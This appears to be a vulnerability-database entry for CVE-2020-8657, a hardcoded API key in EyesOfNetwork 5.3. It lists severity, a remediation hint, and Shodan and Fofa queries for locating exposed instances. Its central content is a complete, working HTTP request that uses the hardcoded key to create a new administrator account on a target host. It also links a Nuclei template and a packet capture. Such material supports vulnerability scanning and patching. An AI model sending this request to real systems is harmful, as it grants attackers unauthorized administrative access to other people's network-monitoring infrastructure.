| Title | EyesOfNetwork - Hardcoded API Key |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system. |
| Remediation | Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration. |
| CVSS Score | 9.8 |
| EPSS Score | 0.86393 |
| CVE ID | CVE-2020-8657 |
| CWE ID | CWE-798 |
| Shodan Query | html:"EyesOfNetwork" |
| Fofa Query | title="EyesOfNetwork" |
| Tags | cve cve2020 eyesofnetwork hardcoded-key kev vkev vuln |
An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
POST /eonapi/createEonUser?username=admin&apiKey=1ce6860c09b9842215f56c540bccaeb549579a6fe319276ae96b7cae8e6e6469 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 71
Content-Type: application/json
Accept-Encoding: gzip
{"user_name":"CumqHZ","user_group":"admins","user_password":"aErC7QZf"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8657.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8657.pcap
N/AN/A